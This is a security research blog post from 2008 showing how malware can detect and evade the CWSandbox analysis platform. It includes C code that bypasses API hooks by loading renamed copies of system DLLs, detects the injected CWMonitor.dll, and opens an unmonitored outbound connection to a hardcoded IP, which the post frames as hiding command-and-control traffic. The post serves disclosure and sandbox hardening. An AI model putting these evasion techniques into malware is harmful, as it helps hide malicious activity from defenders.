Detecting and Evading CWSandbox

Tuesday, January 15, 2008

CWSandbox is one of the most comprehensive and full featured platforms for automated malware analysis. In this post, we detail how a malware sample being analyzed by CWSandbox may detect and evade the monitoring functionality of CWSandbox in order to disguise its malicious activities.

box-sunbelt-cwsandbox.jpg

Introduction to CWSandbox

CWSandbox is a platform developed by Sunbelt Software to automate the analysis of malware samples inside a controlled environment. It generates detailed reports of the runtime behavior of malware by monitoring the Win32 API calls a sample makes during its execution. In order for sandboxed environments such as CWSandbox to maintain their utility and accurately analyze modern malicious threats, it is imperative that they are hardened and resiliant against detection and fingerprinting. To detect the presence of CWSandbox, several vectors of detection of worthy of consideration:

  1. Environment: Artifacts of the host environment in which CWSandbox runs may be used to detect its presence. For example, CWSandbox is most frequently ran inside a virtual machine such as VMware or Xen. Existing techniques to detect virtualized environments can be employed by malware. In addition, CWSandbox supports Faronic's DeepFreeze which may be identified as a suspicious environmental artifact by a malware sample under analysis.

  2. API Hooking: The API hooking mechanism used by CWSandbox presents another detection vector. Specifically, CWSandbox employs the MadCodeHook package for its hooking routines. MadCodeHook implements multiple userspace hooking mechanisms dependent on the OS version being hooked such as inline function hooking (jmp insertion) and IAT/EAT patching. These hooking mechanisms can be detected and evaded in many circumstances.

  3. CWSandbox itself: The processes, services, injected DLLs, registry keys, mutexes, and other attributes related to the CWSandbox platform may be enumerated and identified to discover the presence of the sandboxed environment. CWSandbox employs defensive mechanisms to hide its presence from sophisticated malware, but as we will see, these mechanisms are easily bypassed.

While there exist numerous methods to detect and evade environments such as CWSandbox, we will explore one of the more simple mechanisms that requires very little code and expertise to perform.

Detecting CWSandbox

As previously mentioned, CWSandbox employs some defensive measures to hide the presence of its software from the malware sample being analyzed to reduce the chance of it being fingerprinted. Unfortunately, these defenses are implemented using the same userspace API hooking mechanism as CWSandbox's monitoring functionality as opposed to a more sophisticated approach such as using a kernel device driver. Therefore, if the API hooking mechanism can be subverted, we can trivially detect the CWSandbox environment.

One simple method to subvert the API hooking mechanism and execute non-hooked functions is to copy the DLL containing the desired function and load it dynamically into the processes address space using LoadLibrary with an alternate module name. To automate this process, we define a helper function called LoadDLL:

HMODULE
LoadDLL(LPCTSTR module)
{
    HMODULE hmod;
    TCHAR sys[MAX_PATH], cwd[MAX_PATH], dll[MAX_PATH], src[MAX_PATH], dst[MAX_PATH];
    GetSystemDirectory(sys, MAX_PATH);
    GetCurrentDirectory(MAX_PATH, cwd);
    StringCchPrintf(dll, MAX_PATH, TEXT("b0rked-%s"), module);
    StringCchPrintf(src, MAX_PATH, TEXT("%s\\%s"), sys, module);
    StringCchPrintf(dst, MAX_PATH, TEXT("%s\\%s"), cwd, dll);
    CopyFile(src, dst, FALSE);
    hmod = LoadLibrary(dll);
    return hmod;
}

After the alternate DLL is loaded into memory, we can use the GetProcAddress function to retrieve the address of a desired function and call it. For example, to call the unhooked version of a fake function, FakeFunction from fake.dll, we would do the following:

HMODULE fake = LoadDLL("fake.dll");
FARPROC _FakeFunction = (FARPROC) GetProcAddress(fake, "FakeFunction");
_FakeFunction(...);

Now that we have the ability to call functions in a manner that will not be hooked by CWSandbox, we can go about detecting its presence with impunity. One glaring fingerprint of CWSandbox's presence is the CWMonitor DLL that is injected into every monitored process. Usually the CWMonitor DLL is excluded from the list obtained by EnumProcessModules by CWSandbox's defensive measures but since we are calling the unhooked version, we can obtain the unfiltered list of loaded modules. The following code enumerates the loaded DLL modules of the current process and checks for the presence of CWMonitor.dll:

HMODULE psapi = LoadDLL(_T("psapi.dll"));
ENUMPM _EnumProcessModules = (ENUMPM) _GetProcAddress(psapi, "EnumProcessModules");

h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, GetCurrentProcessId());

if (_EnumProcessModules(h, mods, sizeof(mods), &num)) {
    for (unsigned int i = 0; i < (num / sizeof(HMODULE)); ++i) {
        if (GetModuleFileNameEx(h, mods[i], name, sizeof(name)/sizeof(TCHAR))) {
            if (wcsstr(name, _T("CWMonitor.dll")) != NULL) {
                /* CWSandbox detected! */
                printf("CWSandbox detected!\n");
                return 1;
            }
        }
    }
}
CloseHandle(h);

Evading CWSandbox

Just as we loaded the EnumProcessModules function to detect CWSandbox using LoadDLL and GetProcAddress, we can also load any arbitrary functions that we wish to use to disguise the real activity of the sample being analyzed. For example, a piece of malware may wish to hide the detailed network information of it's command and control server that it connects back to during execution. The following example shows how a sample could set up a socket and connect out to the internet while evading CWSandbox's monitoring mechanisms:

HMODULE ws2_32 = LoadDLL(_T("ws2_32.dll"));
WSASTART _WSAStartup = (WSASTART) _GetProcAddress(ws2_32, "WSAStartup");
WSASOCK _WSASocketW = (WSASOCK) _GetProcAddress(ws2_32, "WSASocketW");
WSACONN _connect = (WSACONN) _GetProcAddress(ws2_32, "connect");

memset(&sa, 0, sizeof(sa));
memcpy(&sa.sin_addr, "\x48\x0e\xcf\x63", 4);
sa.sin_family = AF_INET;
sa.sin_port = htons(80);

/* evade CWSandbox and make undetected outgoing network connection */
_WSAStartup(MAKEWORD(2, 0), &info);
s = _WSASocketW(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
_connect(s, (struct sockaddr *)&sa, sizeof sa);

(Actually, CWSandbox has a great feature to capture all network activity via WinPcap/NDIS so this network connection would still be recorded in the PCAP dump, but you get the idea).

Source Files

Here are the full source files for the examples presented here:

Copyright © 2021 - Jon Oberheide